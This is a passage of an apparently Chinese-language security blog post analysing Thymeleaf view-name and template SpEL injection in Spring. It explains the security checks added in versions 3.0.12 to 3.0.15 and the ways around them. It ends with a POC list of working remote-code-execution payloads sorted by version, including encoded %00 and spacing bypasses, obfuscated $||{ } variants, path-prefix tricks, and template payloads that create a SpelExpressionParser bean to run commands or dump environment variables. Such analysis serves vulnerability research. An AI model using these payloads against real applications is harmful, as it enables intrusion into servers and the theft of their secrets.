public String path(@PathVariable String lang) {
return "index";
}

先直接来到 renderFragment 看看 :

发现 TemplateName 是 index , 而不是我们的 path

回到 applyDefaultViewName 看看 :

因为已经有了视图 , 这里条件不满足 , 所以就不会像刚才那样将 URI 作为视图名称了


回显问题

当我们用下面的 payload 去制造回显会发现行不通 :

1
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.

需要改成下面的 payload ( 倒数第二个点号可以换成任意字符 ) :

1
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::..

下面分析原因 :

首先根据控制台的报错 , 定位到返回语句的地方 :

失败处 :

成功处 :

先分析成功的情况 , 打上断点 , 可以看到此时我们的 template 已经是命令执行的结果了 :

然后可以看到堆栈如下 :

1
2
3
4
5
6
7
8
9
10
resolveTemplate:869, TemplateManager (org.thymeleaf.engine)
parseAndProcess:607, TemplateManager (org.thymeleaf.engine)
process:1098, TemplateEngine (org.thymeleaf)
process:1072, TemplateEngine (org.thymeleaf)
renderFragment:362, ThymeleafView (org.thymeleaf.spring5.view)
render:189, ThymeleafView (org.thymeleaf.spring5.view)
render:1373, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
......

一路向上追踪这个 template 变量 , 发现它来自 renderFragment 中的 FragmentExpression.resolveTemplateName 的结果 ( 286 行 )

而这个方法里面的参数中已经有了执行结果 :

所以还要继续向上找 , 发现在解析表达式的时候就已经有了 :

而我们观察调用栈可以发现 , 抛出回显结果的上层调用是在 renderFragment 最后面 ( 362 行 ) :

而回显结果失败是在上面 ( 280 行 ) :

说明是 278 行语句中抛出了异常 , 直接结束了程序 , 后面的回显语句没执行才导致后面没能回显成功

一顿调试之后 , 发现问题出在 org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean) :

注意 , 运行过程中会经过这个方法两次 , 此时是第二次 , 堆栈如下 :

此时我们可以正常解析出 expression :

但是如果 :: 后面没东西时就解析不了 , 返回值为空导致异常 :

这也很好理解 , 因为 ~{} 是片段表达式 , 那么肯定要符合 ~{Template::Fragment} 的格式

现在我们的 Fragment 为空 , 导致后面解析这个片段表达式的时候返回 null , 然后在这里抛出了异常 , 最终导致程序没有走到后面返回运行结果的报错语句

所以我们要保证在去掉后缀之后 , :: 后面还有东西


shell 问题

刚才的 payload 无法使用 cmd /c 去使用 shell 环境 , 导致重定向等功能使用不了

好像是因为 / 被当成了路径分隔符 , 因为不符合规范而被 Tomcat 拦截 , 不过 linux 下使用 bash -c 应该不影响


后续 Bypass

3.0.12

对比 renderFragment 的源码 , 会发现新版在判断 if (!viewTemplateName.contains("::")) 的 else 分支多了一行代码 :

跟进看看 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// org.thymeleaf.spring5.util.SpringRequestUtils#checkViewNameNotInRequest
public static void checkViewNameNotInRequest(final String viewName, final HttpServletRequest request) {
// 去除viewName中的所有空字符并转为小写
final String vn = StringUtils.pack(viewName);
// 获取解码后的uri
final String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));
// 判断 uri 中是否包含视图名称
boolean found = (requestURI != null && requestURI.contains(vn));
if (!found) {
// 如果没找到,则进一步判断请求参数中是否包含视图名称
final Enumeration<String> paramNames = request.getParameterNames();
String[] paramValues;
String paramValue;
while (!found && paramNames.hasMoreElements()) {
paramValues = request.getParameterValues(paramNames.nextElement());
for (int i = 0; !found && i < paramValues.length; i++) {
paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));
if (paramValue.contains(vn)) {
found = true;
}
}
}
}

if (found) {
throw new TemplateProcessingException(
"View name is an executable expression, and it is present in a literal manner in " +
"request path or parameters, which is forbidden for security reasons.");
}

}

上述检测规则对于下面这种情况是不起作用的 :

1
2
3
4
@GetMapping("/path")  
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome";
}

因为此时的 viewNameuser/__${T (java.lang.Runtime).getRuntime().exec("calc")}__::1/welcome , 而参数值是 __${T (java.lang.Runtime).getRuntime().exec("calc")}__::1 , 后者并不包含前者

但是对于下面两种是能够检测到的 :

第一种 :

1
2
3
4
@GetMapping("/path")  
public String path(@RequestParam String lang) {
return lang;
}

这种就不用多说了 , 此时 viewNameparamValue 相等 , 满足检测条件 paramValue.contains(vn)

第二种 :

1
2
3
4
@GetMapping("/path/{lang}")  
public void path(@PathVariable String lang) {
System.out.println(lang);
}

这种也好理解 , 因为直接将 uri 当成 viewName 了 , 所以肯定是满足 requestURI.contains(vn)

但是还是存在绕过的方法 , 这利用到了 SpringBoot 的路径解析特性

首先是可以使用 ;/ , SpringBoot 默认会把 ; 以及它到 / 中间的字符全都删除 , 所以我们还可以在里面加一些脏数据 , 比如 ;aaa/

request.getRequestURI() 获取到的路径是没有标准化的 , 所以会包含 ;/

但是我们 applyDefaultViewName 中设置的时候用的是 lookupPath , 它是已经标准化之后的 :

那么同理 , 多个 / 也是可以的 , 因为他也会被标准化为一个 /

不过这个其实也不是百分百都能使用的 , 比如下面这种场景 :

1
2
3
4
@GetMapping("/{lang}")  
public void path(@PathVariable String lang) {
System.out.println(lang);
}

此时我们的 viewName 是 __${T (java.lang.Runtime).getRuntime().exec("calc")}__:: , 我们在前面加上 ;/ 或者 // , 最终后者还是会 contain 前者


除了上面的代码 , Thymeleaf 还增加了一个检测 :

当执行表达式的时候会触发这个检测 , 堆栈如下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
containsSpELInstantiationOrStatic:43, SpringStandardExpressionUtils (org.thymeleaf.spring5.util)
getExpression:367, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
obtainComputedSpelExpression:315, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
evaluate:182, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
renderFragment:282, ThymeleafView (org.thymeleaf.spring5.view)
render:190, ThymeleafView (org.thymeleaf.spring5.view)
render:1373, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)

跟进看一下检测逻辑 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
/**
* 检查给定的表达式字符串中是否包含SpEL中的对象实例化(如 "new SomeClass")或静态方法调用(如 "T(SomeClass)")
* 这两种语法在某些受限模式下是被禁止使用的。
*
* @param expression 要检查的SpEL表达式字符串
* @return 如果表达式中包含对象实例化或静态方法调用则返回true , 否则返回false
*/
public static boolean containsSpELInstantiationOrStatic(final String expression) {

final int explen = expression.length();
int n = explen;
int ni = 0; // 在NEW_ARRAY中计算位置的索引
int si = -1; // 记录右括号位置,-1表示还未找到
char c;
while (n-- != 0) {

c = expression.charAt(n); // 从后往前获取字符

// 当检查"new"关键字时 , 需要确保它不是一个更大标识符的一部分 ,
// 即其后应有空白字符 , 而其前不能是可能构成标识符的一部分的字符
if (ni < NEW_LEN // 确保还在匹配"new"的过程中
&& c == NEW_ARRAY[ni] // NEW_ARRAY = "wen".toCharArray();,判断当前字符是否在NEW_ARRAY中
&& (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) { // - 如果`ni > 0`(已经在匹配过程中) , 直接通过 - 或者如果`ni == 0`(刚开始匹配) , 检查"new"后面是否有空白字符
ni++;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) { // 匹配到完整的new关键词并且前一个字符不可以作为Java标识符的一部分
return true; // 找到了对象实例化
}
continue;
}

// 如果之前部分匹配了"new"关键字但未完成匹配 , 则重置匹配状态并回退索引
if (ni > 0) {
// 我们“重新启动”匹配计数器 , 以防出现部分匹配
n += ni;
ni = 0;
if (si < n) {
// 这也必须重新启动
si = -1;
}
continue;
}

ni = 0;

// 检查是否存在静态方法调用 T(SomeClass) 的模式
if (c == ')') {
si = n;
} else if (si > n && c == '(' // 右边右括号并且当前字符是左括号
&& ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T')) // 前一个字符是T
&& ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {// 前一个字符是首字符或者前两个字符不可以作为Java标识符的一部分
return true;
} else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
si = -1;
}

}

return false;

}

总结一下就是不能出现 new 关键词以及不能出现 T(xx) 结构

后者可以使用空格绕过 : T (xx) , 换行符制表符等等也是可以的

所以可以使用下面这个 payload :

1
__${T (java.lang.Runtime).getRuntime().exec("cmd /c echo xxxxx > abcd.txt")}__::

至于 new 关键词 , 当匹配到的时候会判断它的前一个字符能否当作 Java 标识符的一部分并且 n 是否是第一个字符 :

我们可以 fuzz 出来所有满足的字符串 , 然后选择不影响 SpEL 执行的即可 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class SimpleJavaIdentifierFuzzer {
public static void main(String[] args) {
for (int codePoint = 0x00; codePoint <= 0xFF; codePoint++) {
char ch = (char) codePoint;
if (Character.isJavaIdentifierPart(ch)) {
String charDisplay;
if (Character.isISOControl(ch)) {
charDisplay = "\\u" + String.format("%04X", codePoint);
} else {
charDisplay = String.valueOf(ch);
}
System.out.printf("%X [%s]%n", codePoint, charDisplay);
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
0 [\u0000]
1 [\u0001]
2 [\u0002]
3 [\u0003]
4 [\u0004]
5 [\u0005]
6 [\u0006]
7 [\u0007]
8 [\u0008]
E [\u000E]
F [\u000F]
10 [\u0010]
11 [\u0011]
12 [\u0012]
13 [\u0013]
14 [\u0014]
15 [\u0015]
16 [\u0016]
17 [\u0017]
18 [\u0018]
19 [\u0019]
1A [\u001A]
1B [\u001B]
24 [$]
30 [0]
31 [1]
32 [2]
33 [3]
34 [4]
35 [5]
36 [6]
37 [7]
38 [8]
39 [9]
41 [A]
42 [B]
43 [C]
44 [D]
45 [E]
46 [F]
47 [G]
48 [H]
49 [I]
4A [J]
4B [K]
4C [L]
4D [M]
4E [N]
4F [O]
50 [P]
51 [Q]
52 [R]
53 [S]
54 [T]
55 [U]
56 [V]
57 [W]
58 [X]
59 [Y]
5A [Z]
5F [_]
61 [a]
62 [b]
63 [c]
64 [d]
65 [e]
66 [f]
67 [g]
68 [h]
69 [i]
6A [j]
6B [k]
6C [l]
6D [m]
6E [n]
6F [o]
70 [p]
71 [q]
72 [r]
73 [s]
74 [t]
75 [u]
76 [v]
77 [w]
78 [x]
79 [y]
7A [z]
7F [\u007F]
80 [\u0080]
81 [\u0081]
82 [\u0082]
83 [\u0083]
84 [\u0084]
85 [\u0085]
86 [\u0086]
87 [\u0087]
88 [\u0088]
89 [\u0089]
8A [\u008A]
8B [\u008B]
8C [\u008C]
8D [\u008D]
8E [\u008E]
8F [\u008F]
90 [\u0090]
91 [\u0091]
92 [\u0092]
93 [\u0093]
94 [\u0094]
95 [\u0095]
96 [\u0096]
97 [\u0097]
98 [\u0098]
99 [\u0099]
9A [\u009A]
9B [\u009B]
9C [\u009C]
9D [\u009D]
9E [\u009E]
9F [\u009F]
A2 [¢]
A3 [£]
A4 [¤]
A5 [¥]
AA [ª]
AD [­]
B5 [µ]
BA [º]
C0 [À]
C1 [Á]
C2 [Â]
C3 [Ã]
C4 [Ä]
C5 [Å]
C6 [Æ]
C7 [Ç]
C8 [È]
C9 [É]
CA [Ê]
CB [Ë]
CC [Ì]
CD [Í]
CE [Î]
CF [Ï]
D0 [Ð]
D1 [Ñ]
D2 [Ò]
D3 [Ó]
D4 [Ô]
D5 [Õ]
D6 [Ö]
D8 [Ø]
D9 [Ù]
DA [Ú]
DB [Û]
DC [Ü]
DD [Ý]
DE [Þ]
DF [ß]
E0 [à]
E1 [á]
E2 [â]
E3 [ã]
E4 [ä]
E5 [å]
E6 [æ]
E7 [ç]
E8 [è]
E9 [é]
EA [ê]
EB [ë]
EC [ì]
ED [í]
EE [î]
EF [ï]
F0 [ð]
F1 [ñ]
F2 [ò]
F3 [ó]
F4 [ô]
F5 [õ]
F6 [ö]
F8 [ø]
F9 [ù]
FA [ú]
FB [û]
FC [ü]
FD [ý]
FE [þ]
FF [ÿ]

不过还是比较麻烦 , 毕竟还要筛选出能用的 , 明明可以直接发包 fuzz , 然后看哪些执行成功了

最后发现好像只有 %00 可以用 , 所以可以用下面的 payload 进行回显 :

1
__%24%7B%00new%20java.util.Scanner(T%20(java.lang.Runtime).getRuntime().exec(%22hostname%22).getInputStream()).next()%7D__%3A%3A..

不过这种方式对于路径变量的情况就用不了了 , %00 会导致请求在 Tomcat 的连接器 (Connector) 层面就被拦截


3.0.13

搭环境的时候没找到对应的 Spring Boot 版本 , 所以直接用下面这种方式配置了 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com</groupId>

<artifactId>Thymeleaf_3_0_13</artifactId>

<version>0.0.1-SNAPSHOT</version>

<name>Thymeleaf_3_0_13</name>

<description>Thymeleaf_3_0_13</description>

<properties>
<java.version>1.8</java.version>

<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>

<spring-boot.version>2.5.8</spring-boot.version>

<thymeleaf.version>3.0.13.RELEASE</thymeleaf.version>

</properties>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-starter-thymeleaf</artifactId>

</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-starter-test</artifactId>

<scope>test</scope>

</dependency>

<dependency>
<groupId>org.thymeleaf</groupId>

<artifactId>thymeleaf</artifactId>

<version>3.0.13.RELEASE</version>

</dependency>

<dependency>
<groupId>org.thymeleaf</groupId>

<artifactId>thymeleaf-spring5</artifactId>

<version>3.0.13.RELEASE</version>

</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-starter-web</artifactId>

</dependency>

</dependencies>

<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-dependencies</artifactId>

<version>${spring-boot.version}</version>

<type>pom</type>

<scope>import</scope>

</dependency>

</dependencies>

</dependencyManagement>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>

<artifactId>maven-compiler-plugin</artifactId>

<version>3.8.1</version>

<configuration>
<source>1.8</source>

<target>1.8</target>

<encoding>UTF-8</encoding>

</configuration>

</plugin>

<plugin>
<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-maven-plugin</artifactId>

<version>${spring-boot.version}</version>

<configuration>
<mainClass>com.thymeleaf_3_0_13.Thymeleaf3013Application</mainClass>

<skip>true</skip>

</configuration>

<executions>
<execution>
<id>repackage</id>

<goals>
<goal>repackage</goal>

</goals>

</execution>

</executions>

</plugin>

</plugins>

</build>

</project>

对比 org.thymeleaf.spring5.util.SpringStandardExpressionUtils :

我们需要满足 T 是第一个字符 , 或者 T 不是第一个字符但它前面的字符可以被视为 Java 标识符的一部分

所以我们可以用刚才说过的 %00 去进行绕过 :

1
__%24%7B%00T%20(java.lang.Runtime).getRuntime().exec(%22cmd%20%2Fc%20calc%22)%7D__%3A%3A

3.0.14

这个版本的 org.thymeleaf.spring5.util.SpringRequestUtils#checkViewNameNotInRequest 做了升级 :

可以看到它新增了是否含有表达式的判断 , 跟进 :

判断 $ * # @ ~ 后面是否是 { , 是的话就会被判定为含有表达式 , 导致直接抛出异常

网上的 payload 是通过 $||{ } 绕过的 :

1
__$||{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'cmd /c calc')}__::

这个技巧用到了我们之前分析时讲过的字面量替换 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
// org.thymeleaf.standard.expression.LiteralSubstitutionUtil#performLiteralSubstitution
static String performLiteralSubstitution(final String input) {

// 非空判断
if (input == null) {
return null;
}

// 惰性初始化 : 只有在确实需要修改时才创建StringBuilder
StringBuilder strBuilder = null;

// 状态标志 : 跟踪解析过程中的各种状态
boolean inLiteralSubstitution = false; // 是否在 |...| 字面量替换表达式范围内
boolean inLiteralSubstitutionInsertion = false; // 是否正在构建字面量字符串部分

int expLevel = 0; // 表达式嵌套层级(用于处理嵌套的 {})
boolean inLiteral = false; // 是否在单引号字符串字面量中
boolean inNothing = true; // 是否在普通文本中(不在任何特殊结构中)

final int inputLen = input.length();

// 逐个字符扫描输入字符串
for (int i = 0; i < inputLen; i++) {

final char c = input.charAt(i);

// 情况1 : 遇到 | 且不在字面量替换中 , 也不在特殊结构中 → 开始字面量替换
if (c == LITERAL_SUBSTITUTION_DELIMITER && !inLiteralSubstitution && inNothing) {

if (strBuilder == null) {
// 第一次需要修改时初始化StringBuilder , 复制已处理的部分
strBuilder = new StringBuilder(inputLen + 20);
strBuilder.append(input,0,i);
}
inLiteralSubstitution = true; // 标记进入字面量替换模式

}
// 情况2 : 遇到 | 且已在字面量替换中 → 结束字面量替换
else if (c == LITERAL_SUBSTITUTION_DELIMITER && inLiteralSubstitution && inNothing) {

if (inLiteralSubstitutionInsertion) {
// 如果正在构建字面量 , 需要先关闭单引号
strBuilder.append('\'');
inLiteralSubstitutionInsertion = false;
}

inLiteralSubstitution = false; // 标记退出字面量替换模式

}
// 情况3 : 检测到表达式开始($, *, #, @ 后跟 {)
else if (inNothing && // 必须在普通文本中
(c == VariableExpression.SELECTOR || // $
c == SelectionVariableExpression.SELECTOR || // *
c == MessageExpression.SELECTOR || // #
c == LinkExpression.SELECTOR) && // @
(i + 1 < inputLen && input.charAt(i+1) == SimpleExpression.EXPRESSION_START_CHAR)) { // 后跟 {

// 在字面量替换模式下 , 需要处理表达式前后的连接
if (inLiteralSubstitution && inLiteralSubstitutionInsertion) {
// 表达式前有文本字面量 : 关闭前一个单引号并添加连接符
strBuilder.append("\' + ");
inLiteralSubstitutionInsertion = false;
} else if (inLiteralSubstitution && i > 0 && input.charAt(i - 1) == SimpleExpression.EXPRESSION_END_CHAR) {
// 连续的两个表达式 : 添加空字符串连接避免语法错误
strBuilder.append(" + \'\' + ");
}

// 将表达式选择器和 { 添加到结果中
if (strBuilder != null) {
strBuilder.append(c);
strBuilder.append(SimpleExpression.EXPRESSION_START_CHAR);
}

expLevel = 1; // 进入第一层表达式
i++; // 跳过下一个字符({) , 因为我们已经知道它是表达式开始
inNothing = false; // 标记不在普通文本中了

}
// 情况4 : 关闭第一层表达式(遇到 } 且层级为1)
else if (expLevel == 1 && c == SimpleExpression.EXPRESSION_END_CHAR) {

if (strBuilder != null) {
strBuilder.append(SimpleExpression.EXPRESSION_END_CHAR);
}

expLevel = 0; // 回到普通文本层级
inNothing = true; // 标记回到普通文本

}
// 情况5 : 进入表达式嵌套(遇到 { 且在表达式中)
else if (expLevel > 0 && c == SimpleExpression.EXPRESSION_START_CHAR) {

if (strBuilder != null) {
strBuilder.append(SimpleExpression.EXPRESSION_START_CHAR);
}
expLevel++; // 增加嵌套层级

}
// 情况6 : 退出表达式嵌套(遇到 } 且在嵌套表达式中)
else if (expLevel > 1 && c == SimpleExpression.EXPRESSION_END_CHAR) {

if (strBuilder != null) {
strBuilder.append(SimpleExpression.EXPRESSION_END_CHAR);
}
expLevel--; // 减少嵌套层级

}
// 情况7 : 在表达式中但不是边界字符 → 直接复制
else if (expLevel > 0) {

if (strBuilder != null) {
strBuilder.append(c);
}

}
// 情况8 : 进入单引号字符串字面量
else if (inNothing && !inLiteralSubstitution &&
c == TextLiteralExpression.DELIMITER && !TextLiteralExpression.isDelimiterEscaped(input, i)) {

inNothing = false; // 离开普通文本
inLiteral = true; // 进入字符串字面量

if (strBuilder != null) {
strBuilder.append(c);
}

}
// 情况9 : 退出单引号字符串字面量
else if (inLiteral && !inLiteralSubstitution &&
c == TextLiteralExpression.DELIMITER && !TextLiteralExpression.isDelimiterEscaped(input, i)) {

inLiteral = false; // 离开字符串字面量
inNothing = true; // 回到普通文本

if (strBuilder != null) {
strBuilder.append(c);
}

}
// 情况10 : 在字面量替换模式中的普通文本
else if (inLiteralSubstitution && inNothing) {
// 这个字符不是表达式开始 , 但在字面量替换范围内 , 需要转换为字符串字面量

// 如果是字面量替换中的第一个文本字符 , 需要开始新的字符串字面量
if (!inLiteralSubstitutionInsertion) {
// 如果不是紧跟在 | 后面 , 需要添加连接符
if (input.charAt(i - 1) != LITERAL_SUBSTITUTION_DELIMITER) {
strBuilder.append(" + ");
}
strBuilder.append('\''); // 开始单引号字符串
inLiteralSubstitutionInsertion = true;
}

// 处理字符串字面量中的特殊字符转义
if (c == TextLiteralExpression.DELIMITER) {
// 转义单引号 : ' → \'
strBuilder.append('\\');
} else if (c == TextLiteralExpression.ESCAPE_PREFIX) {
// 转义反斜杠 : \ → \\
strBuilder.append('\\');
}

strBuilder.append(c); // 添加当前字符

}
// 情况11 : 其他情况(普通文本 , 不在任何特殊处理中)→ 直接复制
else {

if (strBuilder != null) {
strBuilder.append(c);
}

}

}

// 如果StringBuilder没有被初始化 , 说明不需要任何修改 , 直接返回原输入
if (strBuilder == null) {
return input;
}

// 返回转换后的字符串
return strBuilder.toString();

}
1
2
3
4
5
6
7
8
9
10
11
12
13
// 输入模板表达式 : 
"|欢迎 ${user.name} , 今天是 ${today}|"

// 转换过程 :
// 1. 遇到 | → 进入字面量替换模式
// 2. 遇到 "欢迎 " → 转换为 '欢迎 '
// 3. 遇到 ${user.name} → 转换为 + ${user.name}
// 4. 遇到 " , 今天是 " → 转换为 + ' , 今天是 '
// 5. 遇到 ${today} → 转换为 + ${today}
// 6. 遇到 | → 结束字面量替换模式

// 最终输出 :
"'欢迎 ' + ${user.name} + ' , 今天是 ' + ${today}"

经过这个方法处理后 , 我们的 payload 中的 || 就会被去除

感觉这个技巧也可以用在绕 WAF 上


3.0.15

这个版本对 org.thymeleaf.standard.expression.LiteralSubstitutionUtil#performLiteralSubstitution 做了修改 , 最终不会删除 ||


模板解析

内联表达式 : [[${...}]] 用于在文本中嵌入变量

使用模板表达式可以过一些检测 , 比如绕过<>等符号 , 在 realworldCTF chatterbox 里出现过

通过写入模板去 RCE , 总的思路就是先获取 ApplicationContext , 然后获取/创建 bean , 最后调用恶意方法

获取 ApplicationContext

可以通过 springMacroRequestContext.webApplicationContext 来获取到 ApplicationContext

1
[[${springMacroRequestContext.webApplicationContext}]]

加载类

对于 ApplicationContext , 其有这些方法 : getClassLoader()getBean(String beanName) 等 , 我们可以拿到 ClassLoader 去加载任意类

对于获取 ClassLoader , 有些模板引擎会直接将 Class 对象拉进黑名单 , 所以利用 ApplicationContext 对象获取 ClassLoader 是最简单的方法了 , 另外有些模板引擎也会将 getClassLoader 方法拉进黑名单 , 但一般模板引擎访问对象中的属性其实是会默认调用其 getter 方法的 . 如获取 ApplicationContext的ClassLoader 我们可以在模板中这样写 : springMacroRequestContext.webApplicationContext.classLoader , 这其实就是调用其 getClassLoader() 方法获取的

1
[[${springMacroRequestContext.webApplicationContext.classLoader}]]

创建任意对象

SpringBoot 下我们可以获取其 BeanFactory , 然后调用其 createBean 方法来创建对象

比如可以实例化 org.springframework.expression.spel.standard.SpelExpressionParser , 调用其 parseExpression 方法执行一个 SpEL 表达式即可 RCE

1
[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]


POC

视图名解析

Payload 中 $ 可以换成 * , 有可能可以绕过 WAF

<= 3.0.11

普通无回显 payload :

1
__${T(java.lang.Runtime).getRuntime().exec("cmd /c echo xxxxx > abcd.txt")}__::

有回显 payload , 如果不是路径变量的话可以少一个点号 :

1
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("hostname").getInputStream()).next()}__::..

<= 3.0.12

普通无回显 payload , 路径变量不适用 :

1
__${T (java.lang.Runtime).getRuntime().exec("cmd /c echo xxxxx > abcd.txt")}__::

有回显 payload , 路径变量不适用 :

1
__%24%7B%00new%20java.util.Scanner(T%20(java.lang.Runtime).getRuntime().exec(%22hostname%22).getInputStream()).next()%7D__%3A%3A.

路径变量无回显 payload :

1
2
//__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.
;/__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.

<= 3.0.13

普通无回显 payload , 路径变量不适用 :

1
__%24%7B%00T%20(java.lang.Runtime).getRuntime().exec(%22cmd%20%2Fc%20calc%22)%7D__%3A%3A

有回显 payload , 路径变量不适用 :

1
__%24%7B%00new%20java.util.Scanner(%00T%20(java.lang.Runtime).getRuntime().exec(%22hostname%22).getInputStream()).next()%7D__%3A%3A.

<= 3.0.14

普通无回显 payload , 路径变量不适用 :

1
__$||{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'cmd /c calc')}__::

混淆版 :

1
__*||{''.getC||lass().forN||ame('ja'+'va.l'+'ang.Runt'+'ime').getM||ethod('ex'+'ec',''.getC||lass()).inv||oke(''.getC||lass().forN||ame('jav'+'a.lan'+'g.Ru'+'ntime').getM||ethod('ge'+'tRunt'+'ime').inv||oke(null),'cmd /c calc')}__::

普通无回显 payload , 路径变量适用 :

1
__$||{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}__::.

模板解析

环境变量

1
[[${@environment.getSystemEnvironment()}]]

命令执行

<= 3.2.1 可用 , 再往上不确定

绕过黑名单 , 从而调用 SpelExpressionParser 的 parseExpression 方法去解析 SpEL

一般用这个就足够了 , 基本通杀

1
[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].beanFactory.createBean(#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("new ProcessBuilder({'cmd','/c','calc'}).start()").getValue()}]]
1
[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].getBean('jacksonObjectMapper').readValue("{}",''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("new ProcessBuilder({'cmd','/c','calc'}).start()").getValue()}]]
1
